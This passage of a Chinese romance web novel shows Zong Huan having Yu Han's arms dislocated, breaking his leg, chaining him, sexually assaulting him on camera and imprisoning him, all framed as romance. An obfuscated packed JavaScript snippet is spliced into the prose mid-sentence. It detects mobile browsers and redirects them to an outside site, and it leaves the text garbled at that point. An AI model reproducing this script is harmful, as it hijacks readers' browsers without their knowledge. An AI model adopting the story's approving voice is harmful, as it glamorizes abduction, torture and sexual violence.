柔薄的高定面料勾勒出宗寰好看而有力的腰腹曲线,宗寰衬衫衣领的纽扣只扣到了第二颗,露出若隐若现的锁骨,禁欲蛊人。 拦住郁寒的保安齐唰唰地弯腰鞠躬:“宗少——。” 宗寰这身装扮看上去像个优雅贵气的公子哥,配上这集体问好的仗势,郁寒不爽地扯了扯嘴角,只觉得他是个披着人皮的花狐狸,骚包极了。 保安队长看着走到郁寒身侧的宗寰,后背虚汗直冒,他正想为拦住宗寰朋友的失礼行为道歉,宗寰却打断了他。 宗寰看着郁寒不愉的脸色,抿唇笑了起来:“你们都认一下人,回头把他照片发你们安保公司群里面,他是我朋友,以后他进寰宇集团旗下任何小区、酒店都不用拦。” 保安队长连忙应好。 “不过……”宗寰话锋一转,语气戏谑又认真地说,“他要是一个人从小区、酒店出来的话,就把他扣着,然后立刻打电话给我。” 郁寒抬眼看向宗寰,冷冷地说:“你是傻逼?” 宗寰的手搭上郁寒的肩膀,像是极认真地说:“总要报复一下你这种撩拨又不负责的渣男。” 排排站的保安们后背湿透了都快……救命,这种豪门圈层的八卦是他们能知道的吗?会被灭口吗? 郁寒对上宗寰深邃幽黑的眼睛,从中看到了些许戏谑的嘲弄。 他方才头也不回地甩门而出有多潇洒,被保安当作不明人员拦住就有多窘迫,宗寰就是故意的。 郁寒撇开宗寰搭在他肩头的手,冷笑着说:“所以你想着下次再把我灌醉掳回家,然后拘禁我的行动自由,没有你的允许不准离开?宗寰,想得挺好?” “还有想得更好的。”宗寰被撇开的手下滑,搂住了郁寒的腰肢,他话中带着露骨的恶劣欲望,“我那套房子的阳台位置可以清晰看到你的公寓,我在阳台那里装了单面透视的落地窗,下一次……想把你摁在窗户玻璃上**哭得哭不出来。” (宗寰口嗨说的话在这章突然被锁后就怎么都过不了审,直接删了会影响后续剧情连贯性,手动屏蔽一下。) “我满脑子都是你面色**遍身**一边**求饶一边哭着痛骂我的**样子。”宗寰说着说着就开始往郁寒身上贴,他泛着笑意的目光闪烁着,“郁寒,我想要你眼前所望是温暖却遥不可及的家,而身后所历却是我施予的地狱。” “你恶不恶心。”郁寒面色没有任何变化,但他是真没想到宗寰能当着这么多人讲荤语,他抓住宗寰不安分的手说,“宗大少爷,这清天白日的,脸不要了?” 一旁汗流浃背的保安们把头低得死死的,恨不得把两只耳朵都塞住。救命,他们从来没见过自家大少爷这副下流的样子,他们绝对会被灭口的吧。 宗寰安分下来,只是姿态暧昧地伸手搂住郁寒。他目光从这支保安队身上扫过,语气随意地笑着:“你们都低着头做什么?宗家未来少夫人的脸记住了吗?” 一群人高马大的保安们听到宗寰的话抖了抖,一时间只觉得低头也不是,抬头也不是。 他们终于挣扎着鼓起勇气抬头时,却尴尬地撞见宗寰正不要脸地捏住郁寒的下颌,想凑上去强吻。 郁寒简直被宗寰气笑了,他眯了眯狭长好看的眼睛,在宗寰凑上来的瞬间握住宗寰捏着他下巴的手快速往后一掰,骨节错位的声音在寂静的空间里显得清晰极了。 郁寒猛得踹了一脚宗寰的腿窝,宗寰失力跪在地上,郁寒踩上宗寰的小腿骨,只要再用力一些,宗寰的右腿就会断在这里。 郁寒轻蔑地笑了起来,他俯身贴在宗寰耳侧说:“少夫人?宗大少爷,在床上我俩谁操谁还不一定呢。” 6. 玩弄与掌控 郁寒掰折他手时宗寰面上还是那副轻佻的样子,他像是随媳妇儿闹,不在乎这点痛楚般笑着,神色颇有些让郁寒恶心的宠溺。 直到听到郁寒轻蔑的话,宗寰眼中的笑意才淡了下来:“郁寒,我是不是太惯着你了?” 保安队长被羸弱纤瘦的郁寒瞬间制服宗寰的场面惊懵了,半天没反应过来,直到宗寰目光冷冷地扫过来时,才担忧地惊呼了声:“宗少!” 保安队长冲过去想制住郁寒,其他人也反应过来冲上去拉开郁寒,但郁寒力气惊人,他们费了好些力气才勉强将郁寒压制住。 宗寰面不改色地将一天之内错位两次的手接回来,他拍了拍身上的灰,从容地从地上站起来。 宗寰看着被八个人禁锢四肢摁在地上挣扎不得的郁寒,目光幽暗地笑了笑,面上却没了先前的轻佻劲儿,反而让人如覆寒霜。 “这是要和我撕破脸了?”郁寒直直地对上宗寰的目光,他挑衅地回笑,话中的轻蔑更盛,“我还以为你克制伪装的好朋友人设能端多久呢,不就是昨晚上没艹到我吗?啧,这就忍不了了吗?” 宗寰刚想说什么,一辆银白色的阿斯顿·马丁刚好在此时驶入小区,那车主像是被这边的闹剧吸引到,银白色超跑在宗寰身后停了下来。 坐在驾驶位的荀越降下车窗,他一头亚麻色的微卷短发,眉眼精致像是混血贵族,看着矜贵斯文,开口却有些不着调儿。 他看戏般地冲宗寰打着招呼:“早啊,宗少,这是在收拾哪个不听话的小情人呢?” “让我瞧瞧谁能劳你宗大少爷如此大阵仗地教训……”荀越的目光向被制在地上的郁寒扫去,突然噤了声,顿了片刻才开口,“这不你那宝贝极了的郁教授吗?忍了两年终于舍得用强的了?” 郁寒目光闪烁了一瞬,他当初借着宗寰的面子在A城太子爷的顶级圈儿混了好几年,荀越也算是老熟人了,此刻这副样子被荀越撞见,他心情有些微妙。 宗寰看到了郁寒复杂的神色,他以为郁寒是难堪这副样子被人撞见,宗寰心中陡然生出难言的快感让他想将郁寒撕碎、他甚至想当着所有人的面强.暴郁寒,让郁寒的难堪和痛苦加重。 但宗寰还是挡了挡荀越的视线,他语气微冷地回过头说:“没你的事。” 本来停下挣扎的郁寒在宗寰转过头时突然暴发出惊人的力气,一瞬间差点冲破八名保安的钳制。 挣脱未果的郁寒平缓了下呼吸,他的四肢被摁得更紧,后背被地上细小的沙砾磨得生疼。 郁寒皱了皱眉,脸上露出几分痛苦之色,他勾起的嘴角一如往常般噙着不着调儿的笑意,笑容却莫名让人心疼:“宗寰,睡都睡过我了,我又不逃,就别这样对我了吧?” 宗寰听到郁寒这句特别突然且话锋逆转的话,幽深的眸光闪动,在想郁寒打得什么心思。 郁寒这话落在荀越耳里,宗寰就好像个掌控欲极强且睡过郁寒后还刻意玩弄折辱的变态,而且在荀越印象中宗寰确实是这么一个人。 荀越忍不住劝了两句:“宗寰,对玩物的那些手段就别用在喜欢的人身上了。” “先管好你自己吧,你家躺医院的那位不是这两天有意识转醒的迹象吗?你不忙着去看他,搁这儿管我的闲事?”宗寰瞥向荀越,语气冷淡。 荀越一哽,接着说:“我不就是摆在你眼前的活例吗?你非要重蹈我的覆辙?” 宗寰没再搭理荀越,因为他看到了郁寒深掩眼底的戏谑,郁寒只三言两语便挑动了荀越的情绪,郁寒大概是想看场他和荀越吵起来的戏。 宗寰目光微敛,荀越以为他在玩弄郁寒,事实上他才是郁寒的玩物,无论是两年前还是现在,郁寒都将他玩得死死的。 如今他不过是反咬了一小口郁寒这没有心的坏家伙,所有的恶劣罪责便都推到了他身上。 那他干脆坐实这份玩弄人心的罪责好了。 被激起戾气的宗寰勾了勾唇角,对荀越露出一个颇有些讽刺的笑容:“你知道当初怂恿你关着你那小魔术师的石泽毅是听得谁说的法子吗?” 荀越眼皮微跳,当初废了徐然的手还将徐然关起来是他这辈子做的最后悔的事,他已经很久没和石泽毅联系了。 “当初我们都笑话你搞不定一个十七八岁的小男生,郁寒说这种不听话的玩物关小黑屋关个十天半个月骨子就软了,石泽毅是听了郁寒的话才起了玩心怂恿你的。”宗寰慢悠悠地说着,他知道这件事情是荀越的痛楚和心病。 荀越沉默,看向郁寒的目光冷了下来。 收到荀越一记眼刀的郁寒皱了皱眉,他隐约记起了这件事。 用囚禁折磨驯化玩物在宗寰圈子里不是什么少见的事情,他当时只是顺嘴一提,后来的事情和他根本没有直接联系。 郁寒知道宗寰这话是想将荀越的仇恨值拉到他身上。 荀越不想承认当初全是他的错,所以他疯狂憎恨铸成这件错事的每一个帮凶,用仇恨为自己开罪,以减缓煎熬的自我谴责。 郁寒其实挺瞧不上荀越这种行为,所以郁寒方才想将自己伪装成和当初徐然相似的处境,以挑起荀越心中那根危弦让他和宗寰吵起来。 但郁寒戏没看成,反倒被宗寰泼了一身祸水。 郁寒的神色变化落在宗寰眼中,宗寰缓步向郁寒走近,郁寒脚腕和膝盖这种发力关节都被摁着,宗寰抬脚踩上了郁寒的小腿。 宗寰目光垂落,他居高临下的眼神傲慢讽刺:“别说,郁寒,你刚才说那话时的模样瞧着还怪可怜的。” “别这样对你……别怎样对你?”宗寰微微俯下身,盯着郁寒漂亮的眼睛,他重复着郁寒刚才的后半句话,声音低哑,“再说几句,乖,我都快硬了。” 郁寒嗅到了极端危险的气息,装了一夜的宗寰此刻疯态毕露,但郁寒却兴奋地笑了起来,他笑到被摁住的身体都抖动痉挛。 “宗寰,你这样子也挺可怜的。”狂笑的郁寒语气病态,一句话就将姿态居高临下的宗寰拖拽到泥潭里。 郁寒的话让宗寰的理智一瞬间被点燃,宗寰不知道放纵自己的情绪失控下去他会做出什么可怕的事情,但他此刻完全不想拴住自己的理智。 郁寒亲手将他心中的猛兽释放出来,那他就活该承受被猛兽撕食的恶果。 宗寰直起身,眼神中蕴着混沌的风暴,他回过头看向沉默的荀越说:“看到了吗?郁寒和你那位年轻的小魔术师不一样,他是和我们一样疯狂的败类,是心术恶劣的掌控者。” “荀越,你当初关了你的小魔术师几天?”宗寰顿了顿,意味不明地笑着。 “四十天。”荀越看了眼宗寰,沉声说。 “那我关他四个月,替你的小魔术师报仇怎么样?”宗寰踩住郁寒小腿的脚逐渐用力,他笑容冰冷地说,“或许不止四个月?关起来我大概就舍不得再放他出来祸害人了。” 他早就想把郁寒关起来了,这念头从昨天晚上再次见到郁寒的那刻起,便像复燃的燎原野火般,一发不可收拾。 如果不是郁寒昨晚在酒吧时的话让他误以为他们会有一个格外美好愉快的夜晚,他也不会一直忍到现在。 荀越这回倒没再说劝阻宗寰的话,他只是沉默地看了眼郁寒,冷着脸踩了一脚油门驶进小区别墅区。 “你的救兵走掉了。”宗寰目光落回到郁寒身上,他看到郁寒因为疼痛微微拧起的脸,心情好了几分,宗寰用轻声宣判着郁寒的无期囚刑,“你现在求我,我考虑一下一会儿对你温柔点儿。” “宗寰,你玩儿真的?”腿骨传来断裂般的痛感,郁寒疼得身子紧绷,他高仰着脖子喘息,面色还是毫无惧色地笑着,像是不知死活。 宗寰神色却反常地温柔下来,像是沉溺扼住猎物咽喉的愉悦,又像是带上了诱惑欺哄猎物的假面:“我有时候真的很好奇,你在我面前到底倚仗些什么能这么傲气。” 下一瞬,宗寰散漫的目光落在摁住郁寒左臂的保安队长身上,他语气温柔地下令:“掰折他的胳膊。” 那努力降低存在感保安队长微顿了一下,然后眼也不眨地执行宗寰的命令,但他还是留了些手,没有将郁寒的左臂掰骨折,只是猛得用力将郁寒的胳膊扯脱臼。 宗寰笑了笑:“另一只也掰折。” 宗寰音刚落,郁寒的右臂也被掰脱臼。 郁寒疼得面色惨白,他此刻已经被松开禁锢,双臂无力地垂在身体两边,像个被弄坏的破布娃娃一样可怜。 郁寒压制不住身体因为疼痛生理反射性的发抖反应,但他面上却扯出一个讽刺的笑容:“你可真是睚眦必报啊,宗大少爷。” 宗寰俯身将郁寒抱起来,他笑容让人发寒:“这种程度算什么报复,宝贝,真的不准备求饶吗?” “求饶?”郁寒在宗寰怀里蜷了蜷身子,像是找了个比马路软乎点儿的靠垫,他语气散漫地说,“宗寰,就算你关我一年我也不会对你产生驯化情绪,我有郁杉啊,我又不是一个人。” “长久地被关在黑暗无声的房间里,郁杉见不了任何人,他只能被迫对我产生依赖情绪。”郁寒目光闪烁着兴奋,“郁杉会乖巧地任由我亲吻、爱抚,救命,想想就刺激。” 对上宗寰沉下来的幽晦眸色,郁寒眯眼笑着:“而且这施虐的恶人还是你做的,郁杉甚至恨不到我身上,他只会爱我,把我当成救赎,再也离不开我。” 看着郁寒面上恍人眼的笑容,宗寰只沉默地笑了笑。他圈抱住郁寒的手微微收紧,缓步 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郁寒侧过脸,正对着闪着红光点的镜头轻佻笑了笑:“如果是拍艳照和AV威胁、控制人的话,这种招数太俗套了,宗大少爷。” “别急啊,录视频只是我的一点小癖好,我可不会舍得把你接下来的样子给别人看的。”宗寰拉开床头柜的第一层,挑了挑,取出一根极细的黑色长棍,上面布着许多凸起的小颗粒。 郁寒目光微凝,面上散漫随意的神色褪去,他冷冷地叫了声:“宗寰。” 那语气像是警告,但宗寰不为所动,甚至颇有些兴奋地捏上郁寒的腰肢,将手一路向下。 郁寒还能动弹的右腿挣了挣,他似乎想抬脚踹开宗寰,却挣不开链子的禁锢,只弄出了铁链撞击床尾栏杆的刺耳声响。 身体传来尖锐的刺痛,郁寒闷哼一声,他缓了缓呼吸,突然脑海中听到郁杉嘲弄的笑声。 “郁寒,你也有玩儿脱的时候吗?”郁杉似乎第一次见郁寒这么狼狈,即便声音清冷也不难听出他此刻话中的讽刺。 想看郁杉难堪、羞恼,结果反倒被嘲弄了的郁寒沉默了一瞬。 “你笑什么,这玩儿的不也是你的身体。”郁寒因尖锐的刺痛而难受地喘息着,他满身戾气地回怼道,“我有什么玩儿脱的,你别激我,我可不介意这具身体被宗寰摁着艹的同时我在精神世界艹你,你的感官一定相当真切。” 比起身体难耐的痛苦,察觉到郁杉的情绪不再如一谭死水般冰冷更让郁寒的理智失控,他胸膛微微起伏,呼吸愈发急促。 只要一想到意识清晰的郁杉此刻和他有着同样的身体感受,郁寒心中就燃起强烈到快将他焚尽的躁动欲望。 忍不下去的郁寒闭上眼睛,他放开身体的控制权,强行拖拽着郁杉的意识进了精神世界。 录像的镜头还在继续闪着红光,宗寰看着身体瘫软逐渐没了反应的郁寒,眸光冷了下来。 宗寰伸手碰了碰郁寒的唇,他知道郁寒不可能这种程度就昏厥过去,清醒状态下封闭意识的行为并不会完全隔断身体的感官,郁寒这样子……是打算任他取索? 宗寰磨挲郁寒柔嫩唇瓣的双指微微用力,他大概猜到郁寒是在自己的精神世界里和他的宝贝郁杉缠绵,他一时间也分不清自己这个调情的工具人现在是在被利用还是在占便宜。 就算郁寒现在一副全然被他掌控着的姿态,他也无法升起任何满足的快感。 反而,无力极了。 心中压抑的戾气上涌,宗寰一瞬间恨不得干脆弄死郁寒算了。 但他宗寰就是条被郁寒系了项圈拴在手里的傻狐狸,就算知道自己被玩弄被利用,他也舍不得真的毁了郁寒。 舍不得,这三个字可真是太重了。 宗寰幽冷的视线从郁寒那条被他踩得腿骨断裂的右腿上扫过。 他其实很想像他话里所说的那般将郁寒摁在窗边疯狂肏干,但他居然因为害怕郁寒的腿二次创伤以后会落下残疾而生生忍下了暴戾的欲望。 A城阔少圈子里,纵欲而疯狂的宗大少爷,如今克制得全然不像自己。 宗寰自己都觉得自己心理病态畸形得可笑,像极了可怜虫。 他既后悔方才在小区门口的失控行为,又懊恼现在为什么没继续失控着。 宗寰目光中的欲色翻涌,他避开郁寒的右腿,覆身将郁寒压在身下。宗寰捏住郁寒的下巴,低头将先前在小区门口时被推拒的那个吻继续下去。 腥甜的鲜血味在唇腔中炸裂开来,宗寰施罚般进行着这个疼痛的亲吻,他像品尝着让他灵魂被烫开的烈酒,尽情地向郁寒索取被利用的报酬,疯狂而恶劣。 他这只狐狸甘愿被郁寒捕获,但他永远不会温顺驯良。 7. 桅子花开 中心医院的VIP病房。 自行拆了针的齐蹊下了病床,他推开房间里的窗户,温暖的清风迎面吹来,吹散了几分夏蝉晨鸣的烦躁。 窗外有几株攀着墙沿生长的爬墙虎,一直攀长到这栋住院楼六楼,齐蹊伸手碰了碰爬墙虎嫩绿的藤尖,左边的病房也在这时推开窗户。 齐蹊侧目望了过去,像是个很眼熟的小姑娘。 “齐医生?”姜悦眨了眨眼睛,语气惊讶。 齐蹊终于认了出来,是那个和徐然从小一起长大的邻家小姑娘,徐然出事后经常来照顾他。 ……所以,隔壁是徐然的病房? 齐蹊冲姜悦回了个微笑,走出房间敲了敲隔壁病房的门。 姜悦轻手轻脚地开门,她探出一个脑袋:“徐然刚睡着,你是要进来看看他吗?” “ 他脱离昏迷恢复意识了?”齐蹊也有些讶异。 姜悦侧身让齐蹊进来:“前天就脱离昏迷了,还要多谢齐医生你说服了荀越,不然徐然恐怕这辈子都不愿意醒过来。” 齐蹊轻步走进病房,他看到了病床上面容清秀苍白的徐然。 一年多不见,徐然比当初齐蹊在荀越家看到他时还要削瘦些,他身上只剩下侵骨的病气,那份属于少年人的朝气被消磨得半分不剩。 窗外投射进的浅金色晨光落在徐然微微蹙起的眉眼上,柔和了几分冷意,恬静安然。 “荀越这一年半都没来过?”齐蹊看着徐然,轻声问。 “来倒是来过很多次,但基本上都站在病房门口远远地看着,或者清晨在床头柜上的花瓶里放一支花就走了。”姜悦轻声回道。 睡意不深的徐然缓缓睁开了眼睛,看向齐蹊:“前天也来过,醒来第一眼就看到了他,相当晦气。” 齐蹊笑了笑:“当时荀越有对你说什么吗?” “没,他当时特别激动地叫医生,然后我目光迷朦神色难过地看着他说了一句……原来天堂也有恶魔吗?他整个人瞬间就萎了,灰溜溜地从我的视线里消失了。”徐然面上挂着淡笑,微光映在他脸上,他像是又变回了那个开朗爱笑的少年。 但齐蹊心中一紧,上一次徐然刚从失魂的状态走出来时也是这样有说有笑的模样,然后下一瞬就猝不及防地当着所有人的面从六楼了跳下去。 魔术师,伪装和表演是他们的职业特性,有时候齐蹊也勘不破徐然真实的内心。 “噗。”徐然抿唇笑出了声来,“齐医生,你这么紧张做什么?” “怕你因为重大心理创伤产生边缘型人格障碍,你曾经有很严重的自毁倾向。”齐蹊平静地回答,“所以你此刻的淡定开心,总是让人看着很虚假。” “我不确定你是不是在昏迷这段时间靠文饰心理掩下了心理创伤,但从你对荀越说的第一句话来判断,不像。”齐蹊在姜悦担忧的目光下向徐然走近,他看着床头的桅子花说,“你恨荀越。” 徐然面上的笑容淡了下去,他神色恹恹地说:“所以呢?所以我应该表现的怎样?蜷缩成一团活在恐惧里,还是歇斯底里?” “我没有别的意思,你就这样也挺好的。”齐蹊从花瓶中取出一枝盛得极美的桅子花递给走上前的姜悦,话有所指,“徐然,你已经死过一次了,别活在过去,你该有新生。” 姜悦神色担忧地握住了徐然的手,她蹲在床前,安抚地喊了声:“徐然。” 徐然敛眸,他将姜悦手中那朵桅子花的花朵折了下来,别在姜悦的珠珠发箍下。 这朵娇美纯白的桅子花和他手上无数狰狞丑陋的伤疤对比鲜明,徐然敛下的眸光中情绪明灭闪动。 但只顿了片刻,徐然弯了弯眉眼重新笑了起来,他语气温柔宠溺地对姜悦说:“叫声小然哥哥。” 姜悦脸上微红,目光欣然:“小然哥哥,等你完全好了我们就订婚吧,我婚戒都准备好了哦。” 徐然敲了敲姜悦的额头:“你才17岁,小脑袋瓜里面都想些什么呢,而且求婚这种事情哪有让女孩子来的。” “桅子花,象征永恒纯真的爱,噗,就当荀越也给你们送过祝福了。”齐蹊站在一旁,温和地笑着。 徐然目光闪烁,他刚刚伸手摘下这朵栀子花的花朵时察觉到了里面的微型监听器,不用想也知道,荀越听到他们的对话后绝对会气疯。 徐然敛下眼中暗色,勾了勾唇角:“但愿他会放我重获新生。” …… 被郁寒强行拖拽进精神世界的郁杉此刻正被抵在和外界一模一样的黑色大床上。 郁寒吻遍了他身体的每一处,他的身体浮现着沾染情.欲的薄红,深深浅浅的吻痕嫣红如娇花,胜似春日绽了满园的旖旎风光。 郁杉紧闭着双眼,侧过头不看郁寒,他的意识此刻被从未有过的汹涌欲望淹没。 他完全做不到冷静,被亲吻撩拔到极致的身体让郁杉整个人如同被架在欲望的火架上炙烤般,难受极了。 郁寒紧紧抱着难得情动的郁杉,吻了吻他潮红的眼角:“宝贝,你这样子真漂亮。” “玩够了吧,郁寒。”郁杉咬着牙冷声说。 “乖,再亲一下。”郁寒封住郁杉翕张的唇,将他紧闭的牙关撬开,搅动撩拔的滑舌几乎快深舔进郁杉的喉间。 灼热的鼻息在彼此鼻尖喷洒,郁寒的唇舌像饥渴的暴徒般侵占吮吸,承受不住的郁杉为了阻拦郁寒疯狂的侵入,被迫卷起舌与郁寒纠缠。 郁寒却以为郁杉给了他回应,更加兴奋放肆起来。 郁杉挣扎着推搡郁寒的肩,却被死死摁住,郁杉几乎以为自己要溺窒在这个深吻中,他喘息着,意识飘浮,像是跌坠进一片暮色的云雾中。 身体的欲望升腾交织,郁杉抓住郁寒肩膀的手一点点用力,挠出几道抓痕来。一直到他手脱力地垂落时,郁寒才放过了他。 “郁寒……”郁杉无力地喊着,他像是重新得到氧气的鱼,极度畏惧下一次被剥夺呼吸的酷刑。 “嗯,不来了不来了。”一脸餍足的郁寒难得的好说话,他亲了亲郁杉被他咬破的唇角,“你要出去吗?怕的话,还是我去应付宗寰吧。” 话是这么问,但郁寒根本就没想过让郁杉去应付宗寰,他抽身想离开精神世界,却突然被郁杉拽住。 郁杉攒了攒力气,开口说:“宗寰并不打算放过你,你出去他玩弄的心思只会变本加厉。” 郁寒盯着郁杉看了又看,沉默了一下,随后露出一个意味不明的笑容:“好,你出去吧。” 郁杉拿回身体控制权时才明白郁寒刚才那个笑容的深意,双臂脱臼腿骨断裂的剧烈疼痛先前被郁寒承受了大半,而郁杉对疼痛的耐受力远不如郁寒,此刻如潮水般涌上来的侵骨之痛让他大脑空白得快忘记思考。 疼痛将身体难堪的欲望反应悉数压了下去,只剩下强烈的疲倦和不适。 郁杉缓了缓,睁开眼看向床边摆弄镜头的宗寰,语气冷淡:“宗先生,麻烦你立刻停止对我的拘禁和猥亵,你这是在犯罪。” 宗寰挑了挑眉:“郁寒呢?干你干累了?” 郁杉没想到宗寰言语如此粗鄙,他顿了一下,僵着脸冷声说:“放开我吧,你和郁寒什么仇什么怨都没必要报复在我身上。” “你们不是同一个人吗?他的债你也该一并还着。”宗寰像是觉得郁杉这个理由可笑,他饶有兴趣地反驳。 “他是他,我是我。”郁杉皱了下眉,肆口否绝。 宗寰微顿,郁杉对另一个人格的态度和郁寒一样,他们都把对方当作完全独立又意识相连的自由个体,所以郁寒才会喜欢上另一个自己。 其实宗寰也觉得郁杉和郁寒完全不一样,就算郁杉和郁寒的两个人格在他面前反复交替,他也不觉得丝毫的诡异,不觉得那是一个人格分裂症的患者在犯精神病。 宗寰只是觉得,这具身体里容纳着两个截然不同的灵魂。 宗寰也认可郁杉这句话——郁杉是郁杉,郁寒是郁寒。 就算郁杉的性格同样能引起他的征服欲,就算郁杉用着和郁寒同一张脸,郁杉也永远无法像郁寒那像让他沉沦着迷。 宗寰比任何人都分得清郁杉和郁寒的区别,他跳动的心脏只会为郁寒一个人失控。 宗寰沉默地看了一眼郁杉,为什么他的郁寒偏偏是衍化分裂出来的副人格呢,要是郁杉能永远消失就好了。 宗寰面上情绪不显,他取出郁杉身上的东西,拽过一床薄被搭在郁杉身上:“我不碰你,但我说过要关郁寒四个月,就不会放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238656|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们出去。” “晚一点会有医生来治你的腿伤,不想太狼狈的话就乖一点,我考虑一下解开链子。”宗寰随口说着,他合上摄影机的镜头,取下那张小小的内存卡。 郁杉目光落在宗寰手心的那张内存卡上,那里面记录了他所有狼狈难堪的样子,像是密不透风的网罗般将他笼罩住,让他有些难以呼息。 “别怕,宗寰不会把那些放出去的。”郁寒的声音环绕住郁杉紧绷的意识,像是在脑海中将他拥抱住。 被罪魁祸首安抚的郁杉冷漠地抿了抿唇,在脑中回问郁寒:“你真要让他一直关我们?郁寒,你是故意的吗?你既然能挣得开手铐,为什么挣脱不了这根链子。” “宗寰蓄谋己久了,他知道普通东西锁不住我,那链子很粗,而且不知道是什么材质的。”郁寒话里带着笑音,还是耐着性子哄着,“所以要不你装一下乖,哄宗寰先解开。” 郁杉眸光微敛,开口道:“你所说的乖如果是指取悦你的话,我做不到。” 听到沉默的郁杉突然说了这么句话,走到门口的宗寰目光落回到郁杉身上,打量了一眼,勾了勾唇角:“不用取悦我,别像郁寒一样闹就行。” 他按下屋灯的开关,照亮整个房间的琉璃吊灯暗了下来,封闭的调.教室没有橘黄色灯光的缓和后变得极端压抑幽冷。 唯一的光线从门口渗进来,宗寰逆着光站着,像是将光明与黑暗分隔,阴暗的光影模糊了他的神色:“郁寒说他不怕黑暗无声的长久囚禁,但总要试试才知道啊。” 房门被关上,最后一缕明亮也被隔绝。 郁杉呼吸微微加重,在这样幽闭的环境下,感官都被无限放大,他身上的疼痛似乎更锥心更难以承受了些。 “怕?”郁寒语气慵懒轻佻,“郁杉,我在呢。” 郁寒似乎从不对郁杉掩饰他的目的性,他像是亲手将郁杉推进冰窖又敞开身上仅有的毛氅,明晃晃地告诉郁杉拥抱他就能取暖。 他在逼郁杉靠近他、依赖他。 郁杉心知肚明,也一次次看着自己走进郁寒算计的牢笼,深陷其中,挣脱不得。 黑暗幽闭的房间,郁杉平静地轻喃:“郁寒。” “我在。”郁寒回应的声音认真了几分。 “我疼。”郁杉的声音很轻。 郁寒顿了一瞬,将郁杉扯回了精神世界。 郁杉有些倦乏地闭了闭眼,和郁寒拉开了些距离,他平静地站在一片飘渺的白雾中,疏远冷漠地看着郁寒,身影有几分不真切。 郁寒能明显感觉到郁杉的情绪不对,他向郁杉走近了两步,但郁杉也往白雾中退去,像是下一秒就要消失。 这错觉让郁寒皱了皱眉,他瞬间出现在郁杉身前,将人圈在怀里:“郁杉?” 郁杉也不挣扎,只沉默了很久才说:“郁寒,宗寰想让我消失……你设这场局,也是这么想的吗?” “噗,郁杉,如果我想你消失,你九年前就死了。”郁寒嗤笑一声,说着又开始动手动脚起来,“而且宗寰什么时候对你有杀意了?他怎么敢。” “在我和他说,你是你我是我时。”郁杉握住了郁寒作恶的手,眼中没有温度,“郁寒,我们俩或许真的只有一个能存在,但我不想成为你。” 下一瞬,先前被郁寒支配的精神世界突然剧烈动荡起来,郁寒怀中一空。 郁寒捂了捂头,目光阴戾地盯着自残式地毁坏精神世界的郁杉:“所以呢?……郁杉,你摆脱不了我的。” “总要试试。”郁杉虚弱地半跪在地上,意识撕裂破碎的疼痛让他快昏厥。 轰塌的精神世界化作破裂的尖锐镜片,将郁寒身上划割出无数血痕。 遍体血痕的郁寒一步一步向半昏迷的郁杉走去,狰狞暴戾的面容像是从地狱爬出的修罗。 他将郁衫紧紧抱住,如珍宝般护在身下,塌落的刀刃般的精神碎片悉数落在了他的身上。 “不是说疼吗?做什么傻事。”郁寒的声音咬牙切齿。 意识陷入一片黑暗混沌。 郁杉想着,希望漫长的噩梦醒来的那刻,没有郁寒。 被混乱的记忆碎片冲击的识海燃起无尽的火光,高卷起的火舌像极了十一年前那场惨案。 8. 堡垒与囚牢 郁杉只觉得眼前一片模糊,被封存的痛苦记忆疯狂涌现。 他耳边是刺耳到快让人失鸣的车笛声和让人心惊的重物撞击声。 郁杉隐约听到了歇斯底里的哭喊声,他下意思摸了摸眼角……没有眼泪。 包裹在四周的跳动火光将两个看不清模样的人影吞葬,郁杉看到一个小小的身影往火海中跑去,郁杉一把抱住了他。 “别过去。”郁杉听到自己的声音沙哑颤抖。 十一年前,是郁寒抱住了他,控制着他的身体让他没能冲进那片灼烧的火海中去。 他隐约想起,那个被他一直当作囚牢的精神世界最初是郁寒为了保护他而创造出来的,那里隔绝了所有他不愿记起的痛苦回忆。 “别哭啊,小郁,爸爸妈妈喜欢爱笑的小孩子。”郁杉对怀中发着抖的少年说着,语气故作轻松。 郁杉站在了郁寒曾经的位置,他不想成为郁寒,他要取代郁寒。此刻这条裹扶着残忍过往的记忆长河他若是能自己淌过去,郁寒也就没有存在的必要了。 怀中面容稚嫩的少年紧攥住郁杉的衣角,眼中闪着泪光:“我做不到,你帮帮我。” 郁杉顿了顿,他当初是怎么做的呢……他当初将所有痛苦的记忆和负面的情绪都剥离给了郁寒,将自己裹在冷漠的壳子里。 郁杉垂眸,眼前的画面转变,脚下是一条看不到尽头的长河,上面浮腾着让人生畏的黑色雾气。 郁杉缓步走了进去,河水漾开波澜,森然的寒雾缠上了郁杉的足腕,那些属于过往的悲痛绝望的情绪几乎快将他薄弱的意识扑灭。 郁杉面色平静地站在原地,身子却发颤,他很久都没有力气抬脚再踏出一步。 “郁杉,你做不到的。”郁寒的声音突然出现在郁杉身后,他将郁杉紧紧圈在怀里,“十一年前的你做不到,现在的你同样做不到……你离不开我的。” 郁杉只感受到铺天盖地的窒息感,他一时分不清郁寒究竟是他的堡垒还是囚牢。 “郁寒。”郁杉声音清冷而茫然,“你别欺负我,我也不想着摆脱你,我们像十一年前那样共处可以吗?” “欺负?”郁寒将郁杉从河中抱了起来,他贴在郁杉耳垂边,语气轻佻地说,“如果你把我想同你亲近的心思当做欺负的话,那我也没有办法。” 郁杉侧了侧头,对上郁寒的眼睛,那是一双和他一模一样的眼睛,却蕴着陌生而汹涌的情绪。 “郁杉,我的情绪和欲望本质都是从你而来的,你不该抗拒我,你应该回应我。”郁寒轻笑了笑,“承认我好吗?别再自我折磨了。” “你不是在和仇敌妥协,你是在和自己和解。” 郁寒的声音像是索绕缠绞在心神中的魔咒,钉进郁杉飘渺疏漠的灵魂里。 郁杉顿了顿,郁寒又在想精神控制他,这样的精神对弈曾经的九年里从未间歇,他习以为常,但这次,却像徒然失了反抗的心力。 他看不清郁寒眼中此刻映着的倒影。 郁杉像是在其中看到了自己,却觉得那影子更像郁寒几分,或许,他们已经不分你我了。 